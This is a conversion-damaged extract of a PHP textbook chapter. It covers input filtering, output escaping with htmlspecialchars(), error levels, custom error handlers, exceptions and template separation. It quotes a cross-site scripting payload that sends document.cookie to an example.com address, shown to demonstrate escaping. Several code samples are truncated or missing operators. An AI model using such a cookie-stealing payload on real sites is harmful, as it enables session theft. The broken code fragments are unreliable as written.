Although the script can continue to run, a situation has occurred that could cause problems down the line such as dividing by zero or trying to read a nonexistent file E_PARSE 4 The scri
Trang 1Generally speaking, it ’ s better to use whitelisting, if possible, because it ’ s safer than blacklisting With blacklisting, it ’ s easy to forget to include a particular malicious character in the blacklist, thereby creating
a potential security hole However, sometimes it ’ s simply not possible or practical to use a whitelist, in which case a blacklist is the best approach
Although regular expressions give you a lot of flexibility with checking input, you can use other techniques to make life easier For example, HTML::QuickForm (covered in Chapter 15) lets you create and use rules to validate input sent from a Web form You can also use libraries such as the PEAR
Validate package (see http://pear.php.net/package/Validate ) to validate input such as dates, email addresses, URLs, and so on
An alternative to validating input is filtering With this approach, rather than checking that user input doesn ’ t contain malicious data (and rejecting it if it does), you simply remove any malicious data from the input, and proceed as normal:
< ?php
$searchQuery = $_GET[‘search’];
$searchQuery = preg_replace( “/[^a-zA-Z0-9]/”, “”, $searchQuery );
echo “You searched for: “ $searchQuery;
// (display search results here)
A variation on filtering is to use casting to ensure that the input is of the required type:
$pageStart = (int) $_GET[“pageStart”];
Filtering is often nicer from a user ’ s perspective, because they don ’ t have to deal with error messages or reentering data However, because data is silently removed by the application, it can also lead to confusion for the user
Encoding Output
As well as validating or filtering all input to your script, it ’ s a good idea to encode the script ’ s output
This can help to prevent cross - site scripting attacks, such as the one previously shown
With this approach, you encode, or escape, any potentially unsafe characters using whatever escaping mechanism is available to the output format you ’ re working with Because you ’ re usually outputting HTML, you can use PHP ’ s htmlspecialchars() function to replace unsafe characters with their encoded equivalents:
< ?php
$searchQuery = $_GET[‘search’];
echo “You searched for: “ htmlspecialchars( $searchQuery );
// (display search results here)
Trang 2When run with the malicious query string shown earlier, this code outputs the following markup:
You searched for: & lt;script & gt;document.location.href=’http://www.example
.com?stolencookies=’ + document.cookie & lt;/script & gt;
This causes the browser to simply display the malicious JavaScript in the page rather than running it:
You searched for: < script > document.location.href=’http://www.example
.com?stolencookies=’ + document.cookie < /script >
Although it ’ s not possible to plug every security hole by checking input and encoding output, it ’ s a good
habit to get into, and will drastically reduce the number of ways that an attacker can exploit your PHP
application
Handling Errors
Most of the time, your application will run as it was intended to do However, occasionally something
will go wrong, resulting in an error For example:
The user might enter an invalid value in a form field
The Web server might run out of disk space
A file or database record that the application needs to read may not exist
The application might not have permission to write to a file on the disk
A service that the application needs to access might be temporarily unavailable
These types of errors are known as runtime errors , because they occur at the time the script runs They
are distinct from syntax errors , which are programming errors that need to be fixed before the script
will even run
If your application is well written, it should handle the error condition, whatever it may be, in a
graceful way Usually this means informing the user (and possibly the developer) of the problem clearly
and precisely
In this section you learn how to use PHP ’ s error handling functions, as well as Exception objects, to
deal with error conditions gracefully
Understanding Error Levels
Usually, when there ’ s a problem that prevents a script from running properly, the PHP engine triggers an
error Fifteen different error levels (that is, types) are available, and each level is represented by an
integer value and an associated constant Here ’ s a list of error levels:
Trang 3Error Level Value Description
E_ERROR 1 A fatal runtime error that can ’ t be recovered from The script
stops running immediately
E_WARNING 2 A runtime warning (most errors tend to fall into this category)
Although the script can continue to run, a situation has occurred that could cause problems down the line (such as dividing by zero or trying to read a nonexistent file)
E_PARSE 4 The script couldn ’ t be run because there was a problem parsing
it (such as a syntax error)
E_NOTICE 8 This could possibly indicate an error, although the situation
could also occur during normal running
E_CORE_ERROR 16 A fatal error occurred during the PHP engine ’ s startup
E_CORE_WARNING 32 A non - fatal error occurred during the PHP engine ’ s startup
E_COMPILE_ERROR 64 A fatal error occurred while the script was being compiled
E_COMPILE_WARNING 128 A non - fatal error occurred while the script was being compiled
E_USER_ERROR 256 Same as E_ERROR , but triggered by the script rather than the
PHP engine (see “ Triggering Errors ” )
E_USER_WARNING 512 Same as E_WARNING , but triggered by the script rather than the
PHP engine (see “ Triggering Errors ” )
E_USER_NOTICE 1024 Same as E_NOTICE , but triggered by the script rather than the
PHP engine (see “ Triggering Errors ” )
E_STRICT 2048 Not strictly an error, but triggered whenever PHP encounters
code that could lead to problems or incompatibilities
E_RECOVERABLE_
ERROR
4096 Although the error was fatal, it did not leave the PHP engine in
an unstable state If you ’ re using a custom error handler, it may still be able to resolve the problem and continue
E_DEPRECATED 8192 A warning about code that will not work in future versions
of PHP
E_USER_DEPRECATED 16384 Same as E_DEPRECATED , but triggered by the script rather than
the PHP engine (see “ Triggering Errors ” )
By default, only fatal errors will cause your script to stop running However, you can control your script ’ s behavior at different error levels by creating your own error handler (described later in the section “ Letting Your Script Handle Errors ” )
Trang 4Triggering Errors
Although the PHP engine triggers an error whenever it encounters a problem with your script, you can
also trigger errors yourself This can help to make your application more robust, because it can flag
potential problems before they turn into serious errors It also means your application can generate more
user - friendly error messages
To trigger an error from within your script, call the trigger_error() function, passing in the error
message that you want to generate:
trigger_error( “Houston, we’ve had a problem.” );
By default, trigger_error() raises an E_USER_NOTICE error, which is the equivalent of E_NOTICE
(that is, a relatively minor problem) You can trigger an E_USER_WARNING error instead (a more serious
problem), or an E_USER_ERROR error (a fatal error — raising this error stops the script from running):
trigger_error( “Houston, we’ve had a bigger problem.”, E_USER_WARNING );
trigger_error( “Houston, we’ve had a huge problem.”, E_USER_ERROR );
Consider the following function to calculate the number of widgets sold per day:
< ?php
function calcWidgetsPerDay( $totalWidgets, $totalDays ) {
return ( $totalWidgets / $totalDays );
}
echo calcWidgetsPerDay ( 10, 0 );
?
If a value of zero is passed as the $totalDays parameter, the PHP engine generates the following error:
PHP Warning: Division by zero in myscript.php on line 3
This message isn ’ t very informative Consider the following version rewritten using trigger_error() :
Trang 5PHP Warning: calcWidgetsPerDay(): The total days cannot be zero in myscript.php on line 4
This makes the cause of the problem much clearer: the calcWidgetsPerDay() function cannot be called with a $totalDays value of zero The script is now more user - friendly and easier to debug
A more primitive error triggering function is exit() (and its alias, die() ) Calling this function ply halts the script, displaying an error message string (if a string is supplied to the function) or return- ing an error code (if an integer is supplied) Generally speaking, it ’ s better to use trigger_error() , because this gives you more control over how the error is handled
Controlling Where Error Messages Are Sent
When an error is raised, the PHP engine usually logs the error message somewhere You can control exactly where the error message is logged by using a few PHP configuration directives:
display_errors : This controls whether error messages are displayed in the browser Set to On
to display errors, or Off to prevent errors from being displayed Because error messages can contain sensitive information useful to hackers, you should set display_errors to Off on your live Web site
log_errors : Controls whether error messages are recorded in an error log Set to On to log errors in an error log, or Off to disable error logging (If you set both display_errors and
log_errors to Off , there will be no record of an error occurring)
error_log : Specifies the full path of the log file to log errors to The default is usually the system log or the Web server ’ s error log Pass in the special string “ syslog ” to send error messages to the system logger (on UNIX - type operating systems this usually logs the message
in /var/log/syslog or /var/log/system.log ; on Windows the message is logged in the Event Log)
If you have access to your Web server ’ s php.ini file, you can set your error logging options there — for example:
display_errors = Off
Alternatively, you can use ini_set() within an application to set logging options for that application:
ini_set( “display_errors”, “Off” );
Logging Your Own Error Messages
As well as raising errors with trigger_error() , you can use the error_log() function to log error messages to the system log or a separate log file, or to send error messages via email
❑
❑
❑
Trang 6Unlike trigger_error() , calling error_log() does not cause the error to be handled by the PHP
error handler (or your own custom error handler, if you ’ ve created one), nor can it stop the script from
running It merely sends a log message somewhere If you want to raise an error, use trigger_error()
instead of (or as well as) error_log()
error_log() is also useful within custom error handler functions, as you see in a moment
To use error_log() , call it with the error message you want to log:
error_log( “Houston, we’ve had a problem.” );
By default, the message is sent to the PHP logger, which usually adds the message to the system log or
the Web server ’ s error log (see “ Controlling Where Error Messages Are Sent ” for more details) If you
want to specify a different destination for the message, pass an integer as the second parameter
Passing a value of 1 causes the message to be sent via email Specify the email address to send to as the
third parameter You can optionally specify additional mail headers in a fourth parameter:
error_log( “Houston, we’ve had a problem.”, 1, “joe@example.com”, “Cc: bill@
example.com” );
Pass a value of 3 to send the message to a custom log file:
error_log( “Houston, we’ve had a problem.\n”, 3, “/home/joe/custom_errors
.log” );
Notice that error_log() doesn ’ t automatically add a newline ( \n ) character to the end of the log
message, so if you want your messages to appear on separate lines you need to add your own newline
error_log() returns true if the error was successfully logged, or false if the error couldn ’ t be logged
Letting Your Script Handle Errors
For greater flexibility, you can create your own error handler function to deal with any errors raised
when your script runs (whether raised by the PHP engine or by calling trigger_error() ) Your error
handler can then inspect the error and decide what to do: it might log the error in a file or database;
display a message to the user; attempt to fix the problem and carry on; clean up various files and
database connections and exit; or ignore the error altogether
To tell PHP to use your own error handler function, call set_error_handler() , passing in the name of
the function:
set_error_handler( “myErrorHandler” );
The following error types cannot be handled by a custom error handler; instead they will always be
han-dled by PHP ’ s built - in error handler: E_ERROR , E_PARSE , E_CORE_ERROR , E_CORE_WARNING ,
E_COMPILE_ERROR , and E_COMPILE_WARNING In addition, most E_STRICT errors will bypass the
custom error handler, if they ’ re raised in the file where set_error_handler() is called
Trang 7You can optionally exclude certain types of errors from being handled by your function To do this, pass
a mask as the second argument For example, the following code ensures that the error handler is only called for E_WARNING or E_NOTICE errors (all other error types are handled by PHP ’ s error handler):
set_error_handler( “myErrorHandler”, E_WARNING | E_NOTICE );
You learn more about using masks with error levels in the next section, “ Fine - Tuning Error Reporting ”
Your error handler function needs to have at least two parameters, as follows:
Parameter Description
errno The level of the error, as an integer This corresponds to the appropriate error
level constant ( E_ERROR , E_WARNING , and so on)
errstr The error message as a string
The PHP engine passes the appropriate values to these parameters when it calls your error handler function The function can optionally have an additional three parameters:
errcontext An array containing all the variables that existed at the time the error was raised
Useful for debugging Once it has finished dealing with the error, your error handler function should do one of three things:
Exit the script, if necessary (for example, if you consider the error to be fatal) You can do this by calling exit() or die() , passing in an optional error message or error code to return
Return true (or nothing) If you do this, PHP ’ s error handler is not called and the PHP engine attempts to continue execution from the point after the error was raised
Return false This causes PHP ’ s error handler to attempt to handle the error This is useful if you don ’ t want your error handler to deal with a particular error Depending on your error handling settings, this usually causes the error to be logged
❑
❑
❑
Trang 8Here ’ s an example of a custom error handler This handler, paranoidHandler() , halts execution of the
script whenever any type of error occurs, no matter how trivial It also logs details of the error to the log
E_STRICT = > “Strict warning”,
E_RECOVERABLE_ERROR = > “Recoverable error”,
E_DEPRECATED = > “Deprecated feature”,
E_USER_DEPRECATED = > “Deprecated feature”
);
$message = date( “Y-m-d H:i:s - “ );
$message = $levels[$errno] “: $errstr in $errfile, line $errline\n\n”;
$message = “Variables:\n”;
$message = print_r( $errcontext, true ) “\n\n”;
error_log( $message, 3, “/home/joe/paranoid_errors.log” );
die( “There was a problem, so I’ve stopped running Please try again.” );
When run, this script displays the following message in the browser:
There was a problem, so I’ve stopped running Please try again
The file /home/joe/paranoid_errors.log also contains a message similar to the following:
Trang 92009-03-02 16:46:50 - Warning: calcWidgetsPerDay(): The total days cannot be zero in myscript.php, line 5
Variables:
Array( [totalWidgets] = > 10 [totalDays] = >
)
The paranoidHandler() function sets up an array to map the most commonly used error level constants to human - readable names (levels such as E_ERROR and E_PARSE are excluded because these are always handled by the PHP error handler) Then it logs details about the error to the paranoid_
errors.log file, including the error type, error message, the file and line where the error occurred, and the variables in scope at the time of the error Finally, it calls die() to halt execution and send a generic error message to the browser (This is why the “ This will never be printed ” message doesn ’ t appear.)
Fine - Tuning Error Reporting
Usually, the PHP error handler reports (that is, logs) all errors except E_NOTICE errors You can change this default setting by calling the error_reporting() function, passing in a mask representing the error levels that you want to be logged
For example, to report just E_ERROR errors (and ignore all other errors), use the following:
error_reporting( E_ERROR );
To specify multiple error levels, join them together with the | (bitwise Or) operator:
error_reporting( E_ERROR | E_WARNING | E_PARSE );
To report all errors, use the special constant E_ALL :
error_reporting( E_ALL ^ E_NOTICE ^ E_USER_NOTICE );
To turn off error reporting for all error types, pass a value of zero (note that fatal errors will still stop the script from running):
error_reporting( 0 );
Trang 10Because the error reporting level is stored as a configuration directive called error_reporting , you can
also set it in php.ini or with ini_set() , and retrieve its current value with ini_get() :
error_reporting( E_ERROR );
echo ini_get( “error_reporting” ); // Displays 1
If you ’ ve specified a custom error handler using set_error_handler() , your handler is still called if
there is an error, regardless of the error_reporting setting It is then up to your error handler to
decide whether to log the error
Using Exception Objects to Handle Errors
Although functions like trigger_error() and set_error_handler() give you a lot of flexibility with
raising and handling errors, they do have limitations For example, if a piece of code calls a class method
and an error occurs in that method, it would be nice if the method could simply tell the calling code
about the error, rather than having to raise an error with trigger_error() and go through a central
error handler That way the calling code could take action to correct the problem, making the application
more robust
One simple, common way to achieve this is to get a function or method to return a special error value,
such as - 1 or false The calling code can then inspect the return value and, if it equals the error value, it
knows there was a problem However, this can get unwieldy when you start working with deeply nested
function or method calls, as the following code shows:
class WarpDrive {
public function setWarpFactor( $factor ) {
if ( $factor > =1 & & $factor < = 9 ) {
echo “Warp factor $factor < br / >
public function newWarpOrder( $factor ) {
$ce = new ChiefEngineer;
return $ce- > doWarp( $factor );
Trang 11The WarpDrive::setWarpFactor() function returns true if the function succeeded, and false otherwise (if the warp factor was less than 1 or greater than 9) This return value then needs to be passed through both the ChiefEngineer::doWarp() method and the Captain::newWarpOrder() method to reach the calling code, which can then identify and report on the error It ’ s not uncommon to find at least this level of nested method calls in complex applications
Another problem is that simply returning false doesn ’ t tell the calling code much about what went wrong What ’ s more, when a method has to return an error value, it can ’ t then easily return anything else (because methods and functions can return only one thing at a time)
Fortunately, PHP gives you exceptions , which are a much more elegant way of triggering and handling
error conditions Rather than returning a single error value, your method or function can create a rich
Exception object that includes detailed information about the problem, then throw the object up to the calling code to handle, or catch
Another nice feature of exceptions is that the calling code doesn ’ t have to catch an exception if it doesn ’ t want to; if it ignores it, the exception is re - thrown up the calling chain until it is caught If no code catches the exception, the script halts with a fatal error and the exception is logged or displayed to the user (depending on your log_errors and display_errors settings) So by using exceptions, any problem can either be handled automatically by another part of the application or, if all else fails, reported to the developer or user This allows applications to be much more flexible and robust in their handling of error scenarios
If you don ’ t want uncaught exceptions to raise fatal errors, you can create your own exception handler
to deal with the exceptions (much like creating your own error handler) See http://www.php.net/
manual/en/function.set - exception - handler.php for details
Throwing Exceptions
Here ’ s how to create and throw an exception when an error occurs in your code:
throw new Exception;
You can also pass an optional error message to the Exception object when it ’ s created (this is generally
a good idea):
throw new Exception( “Oops, something went wrong” );
If you have a lot of different error messages in your application, it can help to give each exception a numeric error code to distinguish it To add an error code to your thrown exception, pass it as the second argument when creating the Exception object:
throw new Exception( “Oops, something went wrong”, 123 );
If you don ’ t catch your thrown exception at some other point in your code, eventually it bubbles up to the top level of your script, displaying an error message similar to the following:
PHP Fatal error: Uncaught exception ‘Exception’ with message ‘Oops, something went wrong’ in script.php:4
Stack trace:
Trang 12This tells you that an exception occurred that wasn ’ t handled by the script itself, gives you the error
message, and informs you that the exception was thrown in the main (top - level) part of the script
The code between try and catch is run Often this includes a call to a function or an object method If
this code results in an exception being thrown, the code after catch is run The catch construct expects
a parameter, which is the thrown Exception object ( $e in this example) It ’ s up to you how you then
handle the exception You might simply exit the script with an error message:
die( “There was a problem.” );
Alternatively, you can query the Exception object to find out more about the problem All Exception
objects contain the following methods that you can use to get more information:
Exception Method Method Description
getMessage() Returns the error message contained in the exception
getCode() Returns the error code contained in the exception
calls that led to the exception
getTraceAsString() Returns a formatted string showing the nesting of the functions and/or
method calls that led to the exception
So, for example, if the exception was not that serious, you could simply display the exception ’ s error
message and carry on as normal:
If no exception occurred within your try catch block, the PHP engine simply carries on with your
script, starting at the line after the try catch block
Trang 13Creating Your Own Exception Classes
As well as creating standard Exception objects, you can extend the Exception class itself to create your own custom exceptions This allows you to add your own methods and properties to your exception objects, which can help to make your error reporting even more rich and useful to users and developers of your applications What ’ s more, you can then test for specific classes of exception in your
catch constructs and act accordingly:
class DatabaseException extends Exception {}
class InvalidInputException extends Exception {}
try { // Call the function or method} catch ( DatabaseException $e ) { echo “There was a problem with the database.”;
} catch ( InvalidInputException $e ) { echo “Invalid input - check your typing and try again.”;
} catch ( Exception $e ) { echo “Generic error: “ $e- > getMessage();
}
Try It Out Flying Through the Universe
The following script simulates a spaceship warping through space The spaceship has a certain amount of dilithium fuel that is used up each time the ship goes into warp The amount of fuel used for each warp is equal to the warp factor (speed) The script uses exceptions extensively to report on various problems that occur during warping
Save the script as spaceship.php in your document root folder and run it in your Web browser You should see the output shown in Figure 20-2
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en”>
<head>
<title>Warping Through Space</title>
<link rel=”stylesheet” type=”text/css” href=”common.css” />
public function construct( $message, $code, $factor ) { parent:: construct( $message, $code );
Trang 14public function construct( $message, $code, $remainingFuel ) {
parent:: construct( $message, $code );
} elseif ( WarpDrive::$_dilithiumLevel < $factor ) {
throw new FuelException( “Insufficient fuel”, 3, WarpDrive::$_
public function newWarpOrder( $factor ) {
$ce = new ChiefEngineer;
Trang 15try { $ce->doWarp( $factor );
} catch ( InputException $e ) { echo “<p>Captain’s log: Warp factor “ $e->getInvalidWarpFactor() “?
I must be losing my mind </p>”;
} catch ( FuelException $e ) { echo “<p>Captain’s log: I’m getting a fuel problem from the warp engine It says: ‘” $e->getMessage();
echo “’ We have “ $e->getRemainingFuel() “ dilithium left
I guess we’re not going anywhere.</p>”;
} catch ( Exception $e ) { echo “<p>Captain’s log: Something else happened, I don’t know what
The message is ‘” $e->getMessage() “’.</p>”;
} }}
</html>
Figure 20-2
Trang 16How It Works
First of all, the script creates two custom exception classes derived from the built-in Exception class:
InputException and FuelException An InputException object is to be thrown if the calling code
has supplied an invalid warp factor (outside the range 1 through 9) The InputException class adds
an $_invalidWarpFactor private property to store the supplied warp factor, and extends the
Exception constructor to also allow the supplied warp factor to be stored in the InputException
object when it’s created Finally, it provides a getInvalidWarpFactor() method to retrieve the
invalid warp factor that was supplied:
class InputException extends Exception {
private $_invalidWarpFactor;
public function construct( $message, $code, $factor ) {
parent:: construct( $message, $code );
The FuelException class is for exceptions to be thrown when there’s a problem with the dilithium
fuel It works in a similar way to InputException, except that it stores the remaining fuel rather than
the warp factor
Next, the script creates a WarpDrive class This is the most fundamental class of the script, and is used
to control the warp engines It stores the fuel left in a private static property, $_dilithiumLevel By
making the property static, it retains its value throughout the lifetime of the script, no matter how
many WarpDrive objects are created
WarpDrive contains just one method, setWarpFactor() , that accepts a warp factor and attempts to fly
the ship at that speed If the factor is out of range, an InputException object is thrown The requested
warp factor is stored in the InputException object If there ’ s not enough fuel — that is, if the remaining
units of fuel are less than the requested warp factor — the method throws a FuelException object,
storing the remaining fuel in the object If all is well, the method displays a message and decreases the
Trang 17} elseif ( $factor > 9 ) { throw new InputException( “Warp factor exceeds drive specifications”, 2,
echo “ < > Now traveling at warp factor $factor < /p >
} } }
To control the warp drive, the script creates a ChiefEngineer class This class contains a single method,
doWarp() , that expects a warp factor It then creates a new WarpDrive object and attempts to set the correct speed
In this example situation, the ChiefEngineer is a bit of a “ yes man ” He just takes his order — the required warp factor — and passes it straight to a new WarpDrive object via its setWarpFactor() method He doesn ’ t do any checking of the requested speed, nor does he attempt to catch any exceptions that might be thrown by the WarpDrive object:
class ChiefEngineer { public function doWarp( $factor ) { $wd = new WarpDrive;
$wd- > setWarpFactor( $factor );
}}
The final class created by the script is Captain This class contains a single method, newWarpOrder() , that expects a warp factor The method then creates a new ChiefEngineer object and passes the orders
to the object via its doWarp() method
Unlike the ChiefEngineer class, the Captain class ’ s newWarpOrder() method checks for any problems with the warp order with a try catch block Because exceptions bubble up through the calling chain, any exceptions raised by a WarpDrive object will be caught here The try block calls the doWarp() method, while multiple catch blocks handle the different classes of exception that might be thrown:
class Captain { public function newWarpOrder( $factor ) { $ce = new ChiefEngineer;
try { $ce- > doWarp( $factor );
} catch ( InputException $e ) { echo “ < > Captain’s log: Warp factor “ $e- > getInvalidWarpFactor() “? I must be losing my mind < /p >
} catch ( FuelException $e ) {
Trang 18echo “ < > Captain’s log: I’m getting a fuel problem from the warp engine
It says: ‘” $e- > getMessage();
echo “’ We have “ $e- > getRemainingFuel() “ dilithium left I guess
we’re not going anywhere < /p >
} catch ( Exception $e ) {
echo “ < > Captain’s log: Something else happened, I don’t know what The
message is ‘” $e- > getMessage() “’ < /p>”;
}
}
}
If the method catches an InputException , it displays a message, including the requested warp factor
by calling InputException::getInvalidWarpFactor() Similarly, if a FuelException is caught, the
method displays a different message, retrieving the exact message with FuelException::
getMessage() and displaying the remaining fuel with FuelException::getRemainingFuel Finally,
the method catches any other potential Exception objects that might be thrown, and displays a generic
error message It ’ s always a good idea to catch generic Exception objects in addition to any custom
Exception objects you might have created
Finally, the script creates a new Captain object and sets various warp speeds using its newWarpOrder()
method You can see from Figure 20 - 2 that various exceptions are raised and displayed as the script
progresses
Separating Application Logic from
Pr esentation Logic
When you first start writing PHP scripts, you ’ ll probably find that you naturally want to mix your
PHP code (application logic) and HTML markup (presentation logic) in the same script file, or page
Indeed, most of the examples in this book follow this format, because it ’ s easier to explain code that ’ s
all in one place
Though this approach is fine for small scripts, things start to get messy when you start building larger
applications You ’ ll find that:
Your code ’ s logic becomes hard to follow, because the code is mixed up with chunks of HTML
You end up writing the same, or similar, chunks of code across multiple pages, which — as you
saw in “ Writing Modular Code ” — wastes effort and makes code maintenance hard
It becomes tricky to change your application ’ s front end — for example, when redesigning your
site, converting your site from HTML to XHTML, translating the site into another language or
locale, or producing a mobile version of a site — because all your markup is intermixed with
chunks of PHP code
For the same reason, it ’ s hard for Web designers to alter the look of pages within your
application, because they are not familiar with PHP code
❑
❑
❑
❑
Trang 19Because your template designers have access to your PHP code, it ’ s possible for them to inadvertently (or deliberately) alter your application code, creating all sorts of potential security and stability problems for your application
Unit testing a piece of application logic that also contains presentation logic is tricky (See the next section for more on unit testing.) It ’ s much easier to test a piece of pure application code
A better approach is to keep all your application code separate from your presentation code There are many ways to do this, but a common technique is to keep all markup in separate template files Your application code can then concentrate on the business logic of your application, and can include a template file whenever it wants to display output to the user
❑
❑
Try It Out Separate Application and Presentation Code
To illustrate this technique, rewrite the Widget Club member registration form script, registration.php, from Chapter 9 so that the markup is kept separate from the application logic First, create a
templates folder in your document root folder This is to hold the template files — that is, the presentation logic Next, create global page header and footer templates that can be included in every page Create the following two files inside your templates folder:
<title><?php echo $results[“pageTitle”] ?></title>
<link rel=”stylesheet” type=”text/css” href=”common.css” />
<?php if ( $results[“missingFields”] ) { ?>
<p class=”error”>There were some problems with the form you submitted
Please complete the fields highlighted below and click Send Details to resend the form.</p>
<?php } else { ?>
<p>Thanks for choosing to join The Widget Club To register,
Trang 20<?php } ?>
<form action=”<?php echo $results[“scriptUrl”]?>” method=”post”>
<div style=”width: 30em;”>
<label for=”firstName”<?php echo $results[“firstNameAttrs”] ?
>>First name *</label>
<input type=”text” name=”firstName” id=”firstName” value=”<?php
echo $results[“firstNameValue”] ?>” />
<label for=”lastName”<?php echo $results[“lastNameAttrs”] ?
>>Last name *</label>
<input type=”text” name=”lastName” id=”lastName” value=”<?php
echo $results[“lastNameValue”] ?>” />
<label for=”password1”<?php if ( $results[“missingFields”] )
echo ‘ class=”error”’ ?>>Choose a password *</label>
<input type=”password” name=”password1” id=”password1” value=”” />
<label for=”password2”<?php if ( $results[“missingFields”] )
echo ‘ class=”error”’ ?>>Retype password *</label>
<input type=”password” name=”password2” id=”password2” value=”” />
<label for=”favoriteWidget”>What’s your favorite widget? *</label>
<select name=”favoriteWidget” id=”favoriteWidget” size=”1”>
<option value=”superWidget”<?php echo $results
[“favoriteWidgetOptions”][“superWidget”] ?>>The SuperWidget</option>
<option value=”megaWidget”<?php echo $results
[“favoriteWidgetOptions”][“megaWidget”] ?>>The MegaWidget</option>
<option value=”wonderWidget”<?php echo $results
[“favoriteWidgetOptions”][“wonderWidget”] ?>>The WonderWidget</option>
<label for=”comments”>Any comments?</label>
<textarea name=”comments” id=”comments” rows=”4” cols=”50”><?php
echo $results[“commentsValue”] ?></textarea>
<div style=”clear: both;”>
<input type=”submit” name=”submitButton” id=”submitButton” value=
”Send Details” />
Trang 21<input type=”reset” name=”resetButton” id=”resetButton” value=
”Reset Form” style=”margin-right: 20px;” />
</div>
</div>
<p>Thank you, your application has been received.</p>
<?php include “page_footer.php” ?>
Save both registration_form.php and thanks.php in your templates folder
Now that you’ve created your presentation code, it’s time to create the application code Save the following code as registration.php in your document root folder:
<?php
if ( isset( $_POST[“submitButton”] ) ) { processForm();
} else { displayForm( array() );
} function validateField( $fieldName, $missingFields ) {
if ( in_array( $fieldName, $missingFields ) ) { return ‘ class=”error”’;
}} function setValue( $fieldName ) {
if ( isset( $_POST[$fieldName] ) ) { return htmlspecialchars( $_POST[$fieldName] );
}} function setChecked( $fieldName, $fieldValue ) {
if ( isset( $_POST[$fieldName] ) and $_POST[$fieldName] == $fieldValue ) { return ‘ checked=”checked”’;
}} function setSelected( $fieldName, $fieldValue ) {
if ( isset( $_POST[$fieldName] ) and $_POST[$fieldName] == $fieldValue ) { return ‘ selected=”selected”’;
}}
Trang 22foreach ( $requiredFields as $requiredField ) {
if ( !isset( $_POST[$requiredField] ) or !$_POST[$requiredField] ) {
“firstNameAttrs” => validateField( “firstName”, $missingFields ),
“firstNameValue” => setValue( “firstName” ),
“lastNameAttrs” => validateField( “lastName”, $missingFields ),
“lastNameValue” => setValue( “lastName” ),
“genderAttrs” => validateField( “gender”, $missingFields ),
“genderMChecked” => setChecked( “gender”, “M” ),
“genderFChecked” => setChecked( “gender”, “F” ),
“favoriteWidgetOptions” => array(
“superWidget” => setSelected( “favoriteWidget”, “superWidget” ),
“megaWidget” => setSelected( “favoriteWidget”, “megaWidget” ),
“wonderWidget” => setSelected( “favoriteWidget”, “wonderWidget” ),
),
“newsletterChecked” => setChecked( “newsletter”, “yes” ),
“commentsValue” => setValue( “comments” )
Run the registration.php script by opening its URL in your Web browser You should see the
registration form appear Try filling in a few fields and clicking Send Details Notice how the script
behaves much like its equivalent from Chapter 9
Trang 23How It Works
Functionally, this application is pretty much the same as registration.php from Chapter 9 The main difference is that the presentation code has been separated from the application code and stored
in separate template files in the templates folder
Take a look at the registration.php script Unlike the Chapter 9 script, the displayForm() and
displayThanks() functions no longer contain embedded HTML Instead, they use require()
to include the relevant page templates from the templates folder:
function displayForm( $missingFields ) { $results = array (
“pageTitle” => “Membership Form”, “scriptUrl” => “registration.php”, “missingFields” => $missingFields, “firstNameAttrs” => validateField( “firstName”, $missingFields ), “firstNameValue” => setValue( “firstName” ),
“lastNameAttrs” => validateField( “lastName”, $missingFields ), “lastNameValue” => setValue( “lastName” ),
“genderAttrs” => validateField( “gender”, $missingFields ), “genderMChecked” => setChecked( “gender”, “M” ),
“genderFChecked” => setChecked( “gender”, “F” ), “favoriteWidgetOptions” => array(
“superWidget” => setSelected( “favoriteWidget”, “superWidget” ), “megaWidget” => setSelected( “favoriteWidget”, “megaWidget” ), “wonderWidget” => setSelected( “favoriteWidget”, “wonderWidget” ), ),
“newsletterChecked” => setChecked( “newsletter”, “yes” ), “commentsValue” => setValue( “comments” )
);
require( “templates/registration_form.php” );
} function displayThanks() { $results = array ( “pageTitle” => “Thank You”
);
require( “templates/thanks.php” );
}
Each function creates a $results array variable containing information to display in the page The page template then uses this array to display the information In this way, data can be passed between the application and presentation code For example, registration_form.php uses the firstNameAttrs array element to insert any attributes (such as ‘class=“error“’) into the
firstName label’s tag, and the firstNameValue array element to display any previously typed value
in the firstName field:
<label for=”firstName”<?php echo $results[“firstNameAttrs”] ?>>
First name *</label>
<input type=”text” name=”firstName” id=”firstName” value=”<?php echo
$results[“firstNameValue”] ?>” />
Trang 24The form helper functions in registration.php, such as validateField() and setValue(), have
been rewritten to return their output values, rather than display them using echo() This is so that the
values can then be passed via the $results array to the template pages
The end result of these changes is that pretty much all the presentation markup has been removed
from registration.php, while the template pages contain very little PHP — in fact there is just one
chunk of decision-making code (the if block near the top of registration_form.php), a few calls to
require() to include the page header and footer files, and a series of echo statements to display the
results Generally speaking you should try to limit your template files’ PHP code to echo/print
statements, includes, decisions, and loops, and then only if the code is directly related to displaying
results Anything more complex belongs in the application code
This example could be improved further For instance, ideally registration.php would not contain
the form helper functions validateField(), setValue(), setChecked(), and setSelected(),
because these are specific to the output medium (XHTML) A better approach would be to use classes
and inheritance to further separate the presentation logic from the application logic, so that the
application logic has no knowledge of the particular output medium (whether it’s HTML, XHTML,
plain text, PDF, and so on)
A good example of such a technique is the Model-View-Controller design pattern This is out of the
scope of this book, but you can find an overview at
http://en.wikipedia.org/wiki/Model-view-controller A great book on design patterns in general is Patterns of Enterprise Application
Architecture by Martin Fowler (Addison-Wesley, ISBN: 978-0321127426).
Another good approach is to use a templating framework such as Smarty (http://www.smarty
.net/) This powerful framework allows you to separate your presentation code to the point of
never needing to include a single line of PHP within your template files This is great if you’re
working on a big project with a team of designers who don’t want to touch your PHP code
Automated Code Testing with PHPUnit
Testing is an important aspect of writing good code By testing your application thoroughly before you
release it, you ensure that the application is as stable and as bug - free as possible (though it ’ s highly likely
that it will still contain bugs)
Many approaches to testing code exist You can manually run the application, try different inputs (such
as different form field values), and verify that the application produces the expected output This
technique is known as integration testing because you are testing the application as a whole
A complementary approach is known as unit testing This involves testing each unit of your application
(such as each function or method), rather than the application as a whole It ’ s usually a good idea to use
both integration testing and unit testing to test an application thoroughly
Because testing a single unit of code is more straightforward than testing an entire application, it ’ s
usually possible to automate unit tests, and this is where PHPUnit comes in
Trang 25PHPUnit is a framework for automated unit testing You can use it to write tests in PHP to test each unit
of your application, then run the tests automatically and see the results
To install PHPUnit, you use the PEAR installer (see Chapter 15 for more on PEAR) Because PHPUnit is not in the standard PEAR channels, you first need to run (possibly as root or an admin user):
pear channel-discover pear.phpunit.de
You should then see:
Adding Channel “pear.phpunit.de” succeededDiscovery of channel “pear.phpunit.de” succeeded
Now install PHPUnit as follows (again as root if necessary):
